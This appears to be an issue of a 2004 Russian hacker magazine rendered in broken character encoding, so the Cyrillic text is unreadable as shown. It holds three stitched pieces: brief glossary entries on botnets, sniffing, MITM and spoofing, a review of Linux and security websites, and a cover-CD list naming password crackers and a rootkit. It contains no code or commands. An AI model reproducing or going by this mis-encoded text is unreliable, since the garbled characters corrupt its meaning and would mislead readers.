Êàê òîëüêî êîìàíäà ïîñòó-
ïàåò, áîò îñóùåñòâëÿåò
çëûå äåéñòâèÿ � ïðîâîäèò
DoS, èùåò áàãè â ñîôòå,
çàêèäûâàåò ïðèâàòàìè
æåðòâó è ò.ä. Ñèòóàöèÿ
óñóãóáëÿåòñÿ, êîãäà íà îä-
íîì êàíàëå íàõîäÿòñÿ äî
òûñÿ÷è áîòîâ. Âñå îíè, êàê
òû óæå äîãàäàëñÿ, çàïó-
ùåíû íà âçëîìàííûõ ñåð-
âåðàõ (èëè çàòðîÿíåííûõ
äåñêòîïàõ).

Áàííåð ((banner) � çà-
ãîëîâîê êàêîãî-ëèáî

ñåðâèñà. Áàííåð ïî óìîë-
÷àíèþ âûâîäèò ïîëíóþ
èíôîðìàöèþ î íàçâàíèè è
âåðñèè ñëóæáû, à òàêæå
ìîæåò ñîäåðæàòü äàííûå
îá îïåðàöèîííîé ñèñòåìå.
Íåáåçîïàñíî, ïðàâäà?
Èìåííî ïîýòîìó áàííåðû
ñòàðàþòñÿ ïîäìåíÿòü èëè
óðåçàòü. Åñëè àäìèí íàçî-
âåò áàæíûé ProFTPD çà-
ùèùåííûì VsFTPD, ýòî
îòïóãíåò íåîïûòíîãî
âçëîìùèêà, è ñåðâåð ñëî-
ìàþò íå òàê áûñòðî. ×àñòî
àäìèíèñòðàòîðû çàìåíÿþò
áàííåð ó HTTPd, FTPd è
SMTPd.

Ñíèôèíã ((sniffing) �
ïåðåõâàò äàííûõ ïðè

ïîìîùè ñïåöèàëüíûõ
ïðîãðàìì - ñíèôåðîâ. Êàê
ïðàâèëî, îíè óñòàíàâëèâà-
þòñÿ íà ìàðøðóòèçàòîðå è
ïåðåõâàòûâàþò ïàêåòû âî
âñåé ëîêàëüíîé ñåòè. Â ïà-
êåòàõ ìîæåò ñîäåðæàòüñÿ
êàê ìóñîð, òàê è âàæíàÿ
èíôîðìàöèÿ, íî âçëîìùè-
êîâ èíòåðåñóþò îáû÷íî
òîëüêî ïàðîëè íà ðàçëè÷-
íûå ñåðâèñû. Èìåííî ýòè
äàííûå ñíèôåð è ñòàðàåò-
ñÿ ïîéìàòü. Ïðàâäà, åìó
íå âñåãäà ýòî óäàåòñÿ �
÷àñòî àäìèíû çàïóñêàþò
ñåðâèñû ÷åðåç çàùèùåí-
íîå SSL-ñîåäèíåíèå. Ìî-
æåøü îçíàêîìèòüñÿ ñî
ñíèôåðàìè ïîä *nix íà
ñòðàíèöå packetstormsecuri-
ty.nl/sniffers.

Àòàêà MMiM ((Man-IIn-
the-MMiddle) - àòàêà,

ïðè êîòîðîé õàêåð ðàñïî-
ëîãàåòñÿ ìåæäó äâóìÿ óç-
ëàìè ñ öåëüþ ïåðåõâàòà è
ïîäìåíû ïåðåäàâàåìîé
èíôîðìàöèè. Îáëàñòü ïðè-
ìåíåíèÿ ýòîé àòàêè î÷åíü
âåëèêà, åé ïîäâåðæåí êàê
ïðîòîêîë ïåðåäà÷è ïóá-
ëè÷íûõ êëþ÷åé âî âñåõ
àñèììåòðè÷íûõ àëãîðèò-
ìàõ, òàê è ARP. 

Ñïóôèíã ((spoofing) �
ïîäìåíà àäðåñà

(îáû÷íî îáðàòíîãî) â ñåòå-
âîì ïàêåòå. Îñîáûé èíòå-
ðåñ â ïîñëåäíåå âðåìÿ
ïðåäñòàâëÿåò ARP-ñïó-
ôèíã, ïîçâîëÿþùèé çàíè-
ìàòüñÿ ñíèôèíãîì äàæå â
êîììóòèðóåìûõ ñåòÿõ. E
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Îãàíåñÿí Àøîò (ashot@real.xakep.ru)

Ï ðî÷èòàâ ýòîò íîìåð, òû, âåðîÿòíåå âñåãî, çàõî÷åøü ñ ãîëîâîé îêóíóòüñÿ â ìèð Open Source. Íî íå çàáûâàé î
ãëàâíûõ ïðàâèëàõ ýòîãî ìèðà - ó÷èòüñÿ è äóìàòü. Î òîì, ãäå â èíåòå ïî÷åðïíóòü îãðîìíîå ìíîæåñòâî ïîëåçíîé

èíôîðìàöèè ïî âñåìó, ÷òî ñâÿçàíî ñ *nix-ñèñòåìàìè, ÷èòàé â ýòîì îáçîðå.

W E B
ÏÎËÅÇÍÛÅ ÐÅÑÓÐÑÛ ÈÍÒÅÐÍÅÒÀ

SPECial delivery WEB98
Í

Å
Ï

Ð
È

Ñ
Ò

Ó
Ï

Í
Û

É
 
*

N
I
X

ÕÀÊÅÐÑÏÅÖ   10(47)    2004

WWW.LINUX.ORG.RU

Îäèí èç ñàìûõ ïîïó-
ëÿðíûõ â  ñåòè ðåñóð-

ñîâ, ïîñâÿùåííûõ Linux.
Çäåñü òû íàéäåøü îáùèå
ñâåäåíèÿ î Linux è ìíîãèõ
äèñòðèáóòèâàõ ýòîé çàìå÷à-
òåëüíîé ÎÑè, à òàêæå áîëü-
øîå êîëè÷åñòâî ëèíêîâ íà
èíòåðåñíûå ðåñóðñû. Òåìàòè-
÷åñêè ñàéò ïîäåëåí íà íåñ-
êîëüêî ðàçäåëîâ: Íîâîñòè,
Ãàëåðåÿ, Î Linux, Ôîðóì,
Äèñòðèáóòèâû, Äîêóìåíòà-
öèÿ è Ññûëêè. Èìååòñÿ íåï-
ëîõîé ïîèñê ïî êëþ÷åâûì
ñëîâàì. Îòäåëüíî íåîáõîäè-
ìî ñêàçàòü î äîêóìåíòàöèè.
Íà ñàéòå ñîäåðæèòñÿ îãðîì-
íîå êîëè÷åñòâî âñåâîçìîæ-
íûõ äîêîâ íà ðóññêîì ÿçûêå.
Ýòî è ñòàòüè, è îáçîðû è
FAQ�è ïî Linux. Èìååòñÿ õî-
ðîøàÿ êîëëåêöèÿ ðóññêî-
ÿçû÷íûõ MAN�îâ, ðóêîâîä-
ñòâà ïî ïðîãðàììàì GNU,
âñåâîçìîæíûå êíèãè ïî
Linux è Unix è äàæå ïåðåâîä
ëèöåíçèé GNU :-). À ïåðåâî-
äû ñåðèè Linux HOWTO âîîá-
ùå âûíåñåíû íà îòäåëüíóþ
ñòðàíèöó. Êîðî÷å, íàñòîÿ-
ùèé èíôîðìàöèîííûé ðàé
äëÿ íà÷èíàþùèõ è íå òîëü-
êî. Âåê æèâè � âåê ó÷èñü!

WWW.OPENNET.RU

Ìíîãèå ãîâîðÿò îá
ýòîì ñàéòå êàê î ëó÷-

øåì ñàéòå äëÿ ðàçðàáîò÷è-
êîâ ïðîãðàìì ñ îòêðûòûì êî-
äîì. È ýòî äåéñòâèòåëüíî òàê.
Ïðèÿòíî ïîðàæàþò ÷åòêîñòü
è ãðàìîòíàÿ ñòðóêòóðèðîâàí-
íîñòü èíôîðìàöèè. Òîëüêî â
ðàçäåëå Ïðîãðàììû, ñîäåð-
æàùåì ññûëêè íà ðàçëè÷íîå
ïðîãðàììíîå îáåñïå÷åíèå,
áîëåå äåâÿòè êðóïíûõ ïîä-
ðàçäåëîâ, êîòîðûå â ñâîþ
î÷åðåäü ðàçáèâàþòñÿ â ñðåä-
íåì íà 10-15 ïîäïóíêòîâ. Ïîò-
ðÿñàþùàÿ äåòàëèçàöèÿ! Áî-
ëåå òîãî, îðãàíèçîâàí äàæå
ïîèñê íåîáõîäèìîé òåáå
ïðîãðàììû. Åæåäíåâíî îá-
íîâëÿåìûå íîâîñòè, áîëü-
øîå êîëè÷åñòâî ñòàòåé
(îïÿòü æå ïðåêðàñíî ñòðóê-
òóðèðîâàííûõ), ðàçëè÷íàÿ
äîêóìåíòàöèÿ è ìíîãî äðóãîé
ïîëåçíîé èíôû èç ìèðà
Open Source. Èìååòñÿ áîëü-
øîå ðàçíîîáðàçèå MAN�îâ
ïîä Linux, FreeBSD è Solaris.
Â ðàçäåëå Ñîâåòû òû íàé-
äåøü îòâåòû íà ìíîãèå âîï-
ðîñû è áîëüøîå êîëè÷åñòâî
ïîëåçíûõ ðåêîìåíäàöèé.
Êðîìå ýòîãî, ïîðòàë ðàçáèò
íà òåìàòè÷åñêèå ìèíè-ïîðòà-
ëû: solaris.opennet.ru,
bsd.opennet.ru, cisco.open-
net.ru, linux.opennet.ru,
web.opennet.ru, security.open-
net.ru, palm.opennet.ru è
ftp.opennet.ru, ÷òî, íåñîìíåí-
íî, ÷òî äåëàåò çíà÷èòåëüíî
óäîáíåå è áûñòðåå ïîèñê
äåéñòâèòåëüíî ïîëåçíîé èí-
ôîðìàöèè. Îòëè÷íûé ôîðóì,
áîëüøîå êîëè÷åñòâî ññûëîê,
äîêóìåíòàöèè è ìíîãîå äðó-
ãîå - ðåñóðñ íà ñàìîì äåëå
íåçàìåíèì.

WWW.LINUXRSP.RU

Íåïëîõîé ñàéò ñî
ñòàâøèì óæå ñòàíäà-

ðòíûì «äæåíòëüìåíñêèì»
íàáîðîì: Ñòàòüè, Äîêóìåíòà-
öèÿ, Ïðîãðàììû, Ññûëêè�
Åñòü âîçìîæíîñòü ïîäïè-
ñàòüñÿ íà âåñüìà ïîïóëÿð-
íóþ (ñåé÷àñ áîëåå 18 òûñÿ÷
ïîäïèñ÷èêîâ) ðàññûëêó ñâå-
æèõ íîâîñòåé íåñêîëüêî ðàç
â íåäåëþ. Åñòü òàê íàçûâàå-
ìàÿ «äèñêóññèîííàÿ ðàññûë-
êà» � ñâîåãî ðîäà FAQ, à,
òî÷íåå, âîïðîñû è îòâåòû,
âîçíèêàþùèå ïðè ðàáîòå ñ
ÎÑ Linux. Óäîáíàÿ è ïîëåç-
íàÿ øòóêà. Íåïëîõèå òåìàòè-
÷åñêèå ññûëêè è íàëè÷èå
îôèöèàëüíûõ ïðåññ-ðåëè-
çîâ äåëàþò ýòîò ñàéò äî-
âîëüíî èíòåðåñíûì è ïîçíà-
âàòåëüíûì.

WWW.SECURITY.NNOV.RU

Îäèí èç ëó÷øèõ îòå-
÷åñòâåííûõ ðåñóðñîâ

ïî áåçîïàñíîñòè. Ñîçäàë
ïðîåêò øèðîêî èçâåñòíûé â
óçêèõ êðóãàõ ÇÀÐÀÇà. Îí æå
åãî ïðàêòè÷åñêè â îäèíî÷êó
è ïîääåðæèâàåò. Íà ñàéòå
ñîáðàíî áîëüøîå êîëè÷åñò-
âî ðàçëè÷íîé èíôîðìàöèè
ïî âîïðîñàì áåçîïàñíîñòè,
ðåãóëÿðíî îáíîâëÿþùèåñÿ

íîâîñòè, ïîäðîáíûå îïèñà-
íèÿ ðàçëè÷íûõ áàãîâ, à òàê-
æå îòëè÷íàÿ êîëëåêöèÿ
ýêñïëîèòîâ. Âñå ýòî, ïîìíî-
æåííîå íà îòëè÷íûé è ãðà-
ìîòíûé ïîèñêîâûé äâèæîê,
ïðèâîäèò ê òîìó, ÷òî ëþáîé
ìàëî-ìàëüñêè óâàæàþùèé
ñåáÿ õàêåð îáÿçàòåëüíî çàã-
ëÿäûâàåò ãîñòè ê ÇÀÐÀÇå.

WWW.SECURITYLAB.RU

Óæ êîëè çàòðîíóëè áå-
çîïàñíîñòü, íåëüçÿ íå

óïîìÿíóòü åùå îäèí êðóòîé
è ìåãàïîïóëÿðíûé ïîðòàë.
Äà, èìåííî ÑåêËàá! Îäíà
òîëüêî êîëëåêöèÿ ïîëåçíûõ
ñîôòèí è óòèëèò (áîëåå
5000!) ãîâîðèò ñàìà çà ñåáÿ.
Åæåäíåâíûå íîâîñòè èç ìè-
ðà êîìïüþòåðíîé áåçîïàñ-
íîñòè, îòëè÷íàÿ ðàññûëêà,
âîçìîæíîñòü çàäàòü ñâîé
âîïðîñ è ïîëó÷èòü íà íåãî
îòâåò, áîëüøîå êîëè÷åñòâî
äîêóìåíòàöèè, ïîäðîáíåé-
øåå îïèñàíèå áàãîâ íà ðóñ-
ñêîì ÿçûêå, ïðåêðàñíûé ïî-
èñê � âñå ýòî ïîìîæåò òåáå
ãðàìîòíî çàùèòèòü è íàñòðî-
èòü ñâîé êîìï è ïðåêðàñíî
ñîîðèåíòèðîâàòüñÿ â ìèðå
security.

WWW.NIXP.RU

«Öåëü ïðîåêòà - ïîìî-
ãàòü íà÷èíàþùèì â

UNIX-îñíîâàííûõ îïåðàöè-
îííûõ ñèñòåìàõ, áûòü èñòî÷-
íèêîì èíòåðåñíîé è íóæíîé
èíôîðìàöèè ïîëüçîâàòåëÿì
*nix, ñàìîñîâåðøåíñòâîâàòü-
ñÿ â ýòîé ñôåðå�». È ðåñóðñ

»

»

»

»

»

»

»



äåéñòâèòåëüíî ñëóæèò ýòîé
áëàãîðîäíîé öåëè. Áîëüøîå
êîëè÷åñòâî ñòàòåé ïî óñòà-
íîâêå, íàñòðîéêå, ðàáîòå è
ò.ï. â *nix-ñèñòåìàõ, ñâåæèå
íîâîñòè, ññûëêè, ñîôò, îáçî-
ðû ñîôòà ïîä íèêñàìè, ãîëî-
ñîâàíèå ïîñåòèòåëåé çà ëþ-
áèìûå ñîôòèíû� Èìåþòñÿ
äàæå îáîè íà ðàáî÷èé ñòîë
:). Ðåñóðñ èìååò ñâîé êàíàë â
IRC: #nixp â ñåòè WeNet
(irc.wenet.ru), òàêæå ôóíêöè-
îíèðóåò Web-ãåéò äëÿ âûõî-
äà â IRC ÷åðåç ñàéò. Âñå ýòî
ñíàáæåíî î÷åíü ïðèÿòíûì è
äðóæåñòâåííûì «à-ëÿ *nix»
èíòåðôåéñîì, ñîçäàþùèì
àòìîñôåðó ïîëíîãî ïîãðó-
æåíèÿ â ìèð *nix.

WWW.UNDEADLY.ORG

Undeadly.org, èëè
OpenBSD Journal. Èí-

òåðåñíîå íàçâàíèå (îñîáåí-
íî â ñâåòå òîãî, ÷òî â ïåðè-
îä ñ 2001 ã. ïî àïðåëü 2004
ã. ïîðòàë íàçûâàëñÿ dead-
ly.org :-)) îáúÿñíÿåòñÿ òåì,
÷òî â îäèí ïðåêðàñíûé ìî-
ìåíò (à èìåííî 1 àïðåëÿ
2004 ã :-)) ñîçäàòåëè æóð-
íàëà óøëè èç íåãî è íàëî-
æèëè ñâîè êîïèðàéòû íà
âñå ìàòåðèàëû, ÷òî
ôàêòè÷åñêè ïðèâåëî ê èõ
ïîëíîé íåäîñòóïíîñòè. Ïîñ-
ëå ñîáëþäåíèÿ âñåõ àâòîðñ-
êèõ ïðàâ, Daniel Hartmeier
ñìîã ñîõðàíèòü äëÿ «æàæ-
äóùèõ» áîëåå 1100 ñòàòåé ñ
áîëåå ÷åì 14000 êîììåíòà-
ìè è íàçâàë ðåñóðñ undead-
ly. Ýòî õîðîøèé àíãëîÿçû÷-
íûé ñàéò, ïîñâÿùåííûé
OpenBSD. Êðóïíûé ôîðóì-
FAQ ïî áîëüøîìó êîëè÷å-
ñòâó ñàìûõ ðàçëè÷íûõ âîï-
ðîñîâ, ñâÿçàííûõ ñ ìèðîì
OpenBSD. Ïîñòîÿííàÿ æè-
âàÿ äèñêóññèÿ ïî âîçíèêàþ-
ùèì ïðîáëåìàì, ðàçëè÷íûì
íàñòðîéêàì, êîíôèãóðèðî-
âàíèþ è ò.ä. Ìíîæåñòâî
ðàçëè÷íûõ ññûëîê è äðóãîé
èíôîðìàöèè. Ðåãóëÿðíî îá-
íîâëÿåòñÿ.

WWW.BSDNEWS.COM

Åùå îäèí èçâåñòíûé
àíãëîÿçû÷íûé ðåñóðñ

ïî BSD-ñèñòåìàì. Äîáðîò-
íûé íîâîñòíîé ïîðòàë. Ðàç-
äåëû: Daemon News Ezine
(ñòàòüè), BSDNews (íîâîñòè),
BSD Mall (ìàãàçèí ñ øèðîêèì
àññîðòèìåíòîì èç ìèðà BSD
� äèñòðèáóòèâû, óòèëèòû,
ðàçëè÷íàÿ àòðèáóòèêà), BSD
Support Forum (ñàïïîðò-ôî-
ðóì :-)) è äð. Ðåàëüíûå ëþäè,
óâàæàþùèå BSD è çíàþùèå
àíãëèéñêèé ÿçûê, íàâåðíÿêà
íàéäóò çäåñü ìíîãî èíòåðåñ-
íîãî.

WWW.LINUX.RU

Êðóïíûé ðóññêîÿçû÷-
íûé Linux-ïîðòàë, îñ-

íîâàííûé åùå â 1999 ãîäó.
Ïðèëè÷íîå êîëè÷åñòâî äîêó-
ìåíòàöèè è ìàëåíüêîå êîëè-
÷åñòâî ïðîãðàìì :-(. Èíòåðåñ-
íûå îáçîðíûå ñòàòüè. Õîðî-
øî ñäåëàí «êàòàëîãèçàòîð»
ïî ðóññêîÿçû÷íûì, àíãëîÿ-
çû÷íûì è ïðî÷èì ðåñóðñàì.
Ñâåæèå íîâîñòè (ñ ðîññèéñ-
êèõ è çàðóáåæíûõ ðåñóð-
ñîâ), ïðåññ-ðåëèçû, ïðîäàæà
äèñòðèáóòèâîâ. Íåïëîõîé
ñàéò, íî, íà ìîé âçãëÿä, íå
î÷åíü íàñûùåííûé è äèíà-
ìè÷íûé.

WWW.LINUXCENTER.RU

Ñâîåé ãëàâíîé çàäà-
÷åé Linux-öåíòð ñòàâèò

íè ìíîãî íè ìàëî ïðîäâèæå-
íèå îïåðàöèîííîé ñèñòåìû
Linux â Ðîññèè. Áëàãîäàðÿ
ïðÿìûì êîíòàêòàì ñ ïðîèç-
âîäèòåëÿìè äèñòðèáóòèâîâ è
ÏÎ ìíîãèå íîâèíêè â ìèðå
*nix-ñèñòåì ïîÿâëÿþòñÿ â »

»

»

»

»



Linux-öåíòðå ïðàêòè÷åñêè
îäíîâðåìåííî ñ ìèðîâîé
ïðåìüåðîé. Äåéñòâóåò õîðî-
øèé íîâîñòíîé êàíàë, âåäóò-
ñÿ ðàçëè÷íûå èíòåðåñíûå
ðåéòèíãè. Â ðàìêàõ ïðîåêòà
èäåò ðàáîòà íàä «Âèðòóàëü-
íîé ýíöèêëîïåäèåé Linux» �
ñâîåãî ðîäà ñèñòåìàòèçèðî-
âàííûì êàòàëîãîì ïî ðóñ-
ñêîÿçû÷íûì ðåñóðñàì, ïîñ-
âÿùåííûì Linux. «Êíèãà»
äåéñòâèòåëüíî î÷åíü èíòå-
ðåñíà è áóäåò ïîëåçíà ìíî-
ãèì. Â ñîáñòâåííîì èíòåð-
íåò-ìàãàçèíå ïðîäàþòñÿ êíè-
ãè, äèñòðèáóòèâû, ñîôò, èã-
ðû, ðàçëè÷íàÿ àòðèáóòèêà �
âñå, ÷òî òàê èëè èíà÷å ñâÿçà-
íî ñ Linux. Ðåñóðñ îñòàâèë
î÷åíü ïðèÿòíîå âïå÷àòëå-
íèå.

WWW.PACKETSTORMSECU-
RITY.NL

Îòëè÷íûé ïîðòàë ïî
áåçîïàñíîñòè. Ñòàòüè,

èíòåðåñíûå ññûëêè, ïîäðîá-
íûå îïèñàíèÿ áàãîâ� Íî
ãëàâíîå � îãðîìíûé âûáîð
ñàìîãî ðàçëè÷íîãî ñîôòà.
Çäåñü åñòü ÷åì ïîæèâèòüñÿ!
Ðóòêèòû, ñíèôåðû, áýêäîðû �
âñå, ÷òî äóøå óãîäíî! Ïðè-
÷åì ñîôò î÷åíü óäîáíî ðàç-
äåëåí íà êàòåãîðèè, ÷òî çíà-
÷èòåëüíî îáëåã÷èò òâîé íå-
ëåãêèé òðóä :-). Ñòîèò ñêàçàòü
è îá îòëè÷íîì, ôóíêöèîíàëü-
íîì ïîèñêå. Îäèí ìèíóñ � àíã-
ëîÿçû÷íûé, ãàä! :-). Íî âåäü
äëÿ ðåàëüíîãî õàêåðà ýòî íå
ïðîáëåìà, ïðàâäà?

WWW.XAKEP.RU

Ñàìîå ãëàâíîå ÷óòü íå
çàáûëè! :-) Íå çðÿ ìû

òåáÿ ñî ñòðàíèö êàæäîãî íî-
ìåðà ïðèçûâàåì: «íå âåäèñü
íà ÷åïóõó � ÷èòàé
www.xakep.ru!» Çäåñü òû
íàéäåøü ìíîæåñòâî ñàìîé
ðàçëè÷íîé èíôû èç õàêåðñ-
êîãî ìèðà è íå òîëüêî. Ðå-
ñóðñ ïîñòîÿííî îáíîâëÿåòñÿ,
è, áóäü óâåðåí, òû âñåãäà

íàéäåøü òóò ñâåæåíüêèé
ýêñïëîèò è îïèñàíèÿ áàãîâ
íà ðóññêîì ÿçûêå. Êðîìå
ýòîãî, ñòàòüè ïî âçëîìó, çà-
ùèòå è âñåìó-âñåìó-âñåìó!
Çíàé íàøèõ!

WWW.LINUXTODAY.COM

Åùå îäèí àíãëîÿçû÷-
íûé ðåñóðñ, ïîñâÿ-

ùåííûé Linux. Äîâîëüíî
êðóïíûé ïîðòàë, íà êîòîðîì
ñîáðàíî ìíîãî ïîëåçíîé èí-
ôîðìàöèè. Íàçâàíèå ÷åòêî
îïðåäåëÿåò êîíöåïöèþ �
ñàéò ðåãóëÿðíî îáíîâëÿåòñÿ
è òùàòåëüíî ñëåäèò çà ìà-
ëåéøèìè «äóíîâåíèÿìè» â
ìèðå Linux. Ñòàòüè, íîâîñòè,
îáíîâëåíèÿ áåçîïàñíîñòè,
îáñóæäåíèå ðàçëè÷íûõ òåì,
áîëüøîå êîëè÷åñòâî ïîëåç-
íûõ è èíòåðåñíûõ ññûëîê �
âñå ýòî è ìíîãîå äðóãîå òû
íàéäåøü íà ñòðàíèöàõ äàí-
íîãî ðåñóðñà.

WWW.BUGTRACK.RU

Åùå îäèí ñòàðîæèë
ðóíåòà â îáëàñòè èí-

ôîðìàöèîííîé áåçîïàñíîñ-
òè. Î÷åíü ïîïóëÿðíûé ðåñóðñ
(ñðåäíÿÿ ïîñåùàåìîñòü -
îêîëî 3500 ÷åëîâåê â äåíü),
íà êîòîðîì ñîäåðæèòñÿ îã-
ðîìíîå êîëè÷åñòâî âêóñíîé
èíôû. Òóò è ïðåêðàñíàÿ áèá-
ëèîòåêà � ïîñòîÿííî îáíîâ-
ëÿþùàÿñÿ ïîäáîðêà ñòàòåé
è êíèã, è íîâîñòè, è âîçìîæ-
íîñòü «áîëüøîé» ðàññûëêè
(ìîæíî âûáðàòü êàê ïî îò-
äåëüíîñòè ëþáîé èç ðàçäå-
ëîâ: BuqTraq: Îáçîð, RSN,
ÁÑÊ, Çàêîí åñòü çàêîí, òàê è
â ëþáîé «êîìïëåêòàöèè»
âêëþ÷àÿ ïîëíóþ). Ðåñóðñ
îáëàäàåò âåñüìà ïî÷åòíûìè
íàãðàäàìè è ïî ïðàâó ñ÷èòà-
åòñÿ îäíèì èç äîñòîéíûõ.

WWW.NSD.RU

Ñàéò êîìàíäû NSD -
ïîñòîÿííûõ àâòîðîâ X

(ñìîòðè, íàïðèìåð, «Ýêñïëî-

èòíûé ëèêáåç» â èþíüñêîì
íîìåðå ][), íà êîòîðîì ñîäåð-
æèòñÿ ìíîãî ðàçíîé èíôîð-
ìàöèè ïî âçëîìó è áåçîïàñ-
íîñòè, èíòåðåñíûå íîâîñòè,
ñíàáæåííûå ïîèñêîì... Óäå-
ëåíî îòäåëüíîå âíèìàíèå áå-
çîïàñíîñòè è ãðàìîòíîé íàñò-
ðîéêå *nix-ñèñòåì. Áîëüøîå
êîëè÷åñòâî óäîáíî ñòðóêòó-
ðèðîâàííîãî ñîôòà è ò.ä.

WWW.BSDNEWSLETTER.COM

Àíãëîÿçû÷íûé ðåñóðñ,
ïîñâÿùåííûé BSD-

ñèñòåìàì. Íîâîñòè, ñòàòüè,
ìàíóàëû, FAQ � êîðî÷å, ïîë-
íûé íàáîð ïðèëè÷íîãî ïîðòà-
ëà. Òàêæå åñòü ðàçáèòûé íà
êàòåãîðèè ñîôò (íàïðèìåð
Archivers, Communication,
Networking, Servers,
Programming è ò.ä.). Îòäåëü-
íî íà ñàéòå âûäåëåíû ðàçäå-
ëû Programming è Security.
Èìååòñÿ òàêæå ïðèëè÷íàÿ
êîëëåêöèÿ ñàìûõ ðàçëè÷íûõ
äðàéâåðîâ. Ïðàâäà, ïî âñåé
âèäèìîñòè, îáíîâëÿåòñÿ ðå-
ñóðñ íå î÷åíü àêòèâíî (âî
âñÿêîì ñëó÷àå, â ðàçäåëå
«Recent BSD News and
Articles» ïîñëåäíèé ìàòåðè-
àë äàòèðîâàí 6 èþíÿ), ÷òî,
êîíå÷íî, íå ñîâñåì ãóä :-(.

WWW.LINUXJOURNAL.COM

Linux Journal � åæåìå-
ñÿ÷íûé æóðíàë Linux-

ñîîáùåñòâà, à www.linuxjour-
nal.com � îôèöèàëüíûé ñàéò
ýòîãî æóðíàëà :-). Çäåñü òû
íàéäåøü îïèñàíèå æóðíàëà,
êàæäîé èç ðóáðèê, àíîíñû
íîâûõ íîìåðîâ, ñòàòüè è ðàç-
ëè÷íûå ìàòåðèàëû èç ïðå-
äûäóùèõ âûïóñêîâ è äðóãîå.
Ïîìèìî îñâåùåíèÿ ñàìîãî

æóðíàëà íà ñàéòå ïðåäñòàâ-
ëåíî áîëüøîå êîëè÷åñòâî
ðàçíûõ ïðåññ-ðåëèçîâ èç
«æèçíè Linux-community».
Èìååòñÿ âîçìîæíîñòü
îôîðìëåíèÿ ïîäïèñêè è ðàñ-
ñûëêè. Àíãëîÿçû÷íûé :-).

WWW.LINUX.COM

Êàê íåòðóäíî äîãà-
äàòüñÿ Linux.com -

àíãëîÿçû÷íûé ðåñóðñ, ïîñ-
âÿùåííûé èçâåñòíîé îñè.
Äîâîëüíî íàñûùåííûé ïîð-
òàë, íà êîòîðîì òû íàéäåøü
ìíîæåñòâî ñòàòåé, ñâåæèå
íîâîñòè èç ìèðà Linux,
âåñüìà ñîäåðæàòåëüíûå îá-
çîðû ìíîãèõ äèñòðèáóòèâîâ
è èõ ïîñëåäíèõ ðåëèçîâ
(íàïðèìåð, â ðàçäåëå
Distribution Center ïðåäñ-
òàâëåíû îòäåëüíûå ïîäðàç-
äåëû, ïîñâÿùåííûå Debian
GNU/Linux, Gentoo Linux,
Fedora, Mandrakelinux è äð.).
Ñòîèò îòìåòèòü, ÷òî ðàçäåë
Articles (Ñòàòüè :)) î÷åíü
óäîáíî òåìàòè÷åñêè ðàçäå-
ëåí íà íåñêîëüêî ïîäðàçäå-
ëîâ: Applications, Servers,
Programming è Community è
òåáå íå ïðèäåòñÿ ìîíèòî-
ðèòü âåñüìà ïðèëè÷íûé àð-
õèâ ñòàòåé â ïîèñêàõ íóæ-
íîãî ìàòåðèàëà. Î÷åíü èí-
òåðåñåí ðàçäåë Tips - áîëü-
øîé òåìàòè÷åñêèé ôîðóì-
FAQ, íà êîòîðîì ìîæíî íàé-
òè ìíîãî ïîëåçíîé èíôîð-
ìàöèè è ñîâåòîâ íà êîíêðåò-
íûå âîïðîñû ïî ïðîãðàììè-
ðîâàíèþ, àäìèíèñòðèðîâà-
íèþ, êîíôèãóðèðîâàíèþ è
ìíîãîìó-ìíîãîìó äðóãîìó, ñ
÷åì ïðèäåòñÿ ñòîëêíóòüñÿ
êàê îïûòíîìó ÷åëó, òàê è
þçåðó, êîòîðûé òîëüêî ïîã-
ðóæàåòñÿ â ìèð Open
Source. Linux.com - äîñòîé-
íûé ó÷àñòíèê íàøåãî îá-
çîðà.

ÊÒÎ ÈÙÅÒ � ÒÎÒ ÂÑÅÃÄÀ
ÍÀÉÄÅÒ!

Òåïåðü òû íåìíîãî îðèåí-
òèðóåøüñÿ â ïðîñòðàíñòâå
*nix. ×èòàé, ïðîâåðÿé, òåñòè-
ðóé, ïèøè è äóìàé, äóìàé,
äóìàé! Òîëüêî òàê òû ïî÷óâ-
ñòâóåøü äóõ ñâîáîäû è íàñ-
òîÿùåãî êðåàòèâà â ìèðå
Open Source! E
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ÇÀÙÈÒÀ ÎÒ ÍÀÏÀÄÅÍÈß
IPTables 1.2.11
Patch-O-Matic 20040621
Centron IPTables Firewall Gui
Firewall Builder
Portsentry 1.0
Netcat 4Windoze
RSBAC Linux Kernel/Admin panel
+ äèñòðèáóòèâû: Devil Linux, SELinux

ÈÑÑËÅÄÎÂÀÍÈÅ 
ÍÀ ÓßÇÂÈÌÎÑÒÈ

CeS [ CGI Exploit Scanner ]
mscan 1.0 public release
portscan
XSpider 7.0.916
XSSH by X_treme
Ethereal 0.10.6 (Unix/Win)
Ettercap 0.7.0
Knocker 0.7.1
Nessus 2.1.1
NSAT 1.5
PATH (Perl Advanced TCP Hijacking)
ScanSSH 2.0
SendIP
VANISH2
Web Password Checker (WPC) 0.1
Yakr (Yet Another Kernel Rootkit)
IPPersonality 2.4.18
OSDet 0.4 (äëÿ nmap)
Firewalk 5.0
HPing 2.0.0-rc3
NMap 3.70 (Unix/Win)
OpenSSH 3.9p1

Hydra 4.1
JohnTheRipper 1.6 (Unix/Win)
THC SSH Crack (âîññòàíîâëåíèå

êëþ÷à SSH)
VLogger 2.1.1

ÑÂÅÆÈÉ GNUÒÛÉ ÑÎÔÒ
Linux Kernel

2.0.40/2.2.26/2.4.27/2.6.8.1
WinPcap Library 3.1b3
PGP 2.6.3i/8.10 (+ñîðöû)

ÑÎÔÒ ÎÒ NONAME
TagScanner 4.9 áèëä 490 RC1
Password Agent v2.3.3
xp-AntiSpy v3.83
NetAdjust Anonymous Proxy v5.2.0.0
DU Meter v3.06 (build 186)
Bookshelf v1.0d
EffeTech HTTP Sniffer v3.5.2
SmartFix v3.7
XDCC Catcher Basic v2.0.2.0
XP SysPad v6.0.5.7
Free Download Manager (FDM) v0.9

(build 161)
HD Tune v2.00
NI Transliterator v2.2
Blackman's E-mail encoder
xpy v0.8 (beta)

+ áîíóñ îò ãðóïïû SH8

Âñå ýòî íà ÇÀÃÐÓÇÎ×ÍÎÌ CD
(ïîëíàÿ âåðñèÿ) Trinux!

ÂÅÑÜ ÑÎÔÒ ÈÇ ÍÎÌÅÐÀ!

È ÅÙÅ:

Áîëåå 70% ñåðâåðîâ
èíòåðíåòà ðàáîòàþò
ïîä *nix. È ïîñëå ýòî-

ãî íà òâîåì êîìïå âñå åùå íå
ñòîèò ñàìàÿ ñåêüþðíàÿ â ìèðå
ÎÑü? Òîãäà ìû èäåì ê òåáå!

Á

ÑÏ
ÅÖ

 C
D

Ñïåö 08(45), Buffer
Overflow
Õàêåð 08(68)
Æåëåçî 08(06)
Ìîáèëüíûå
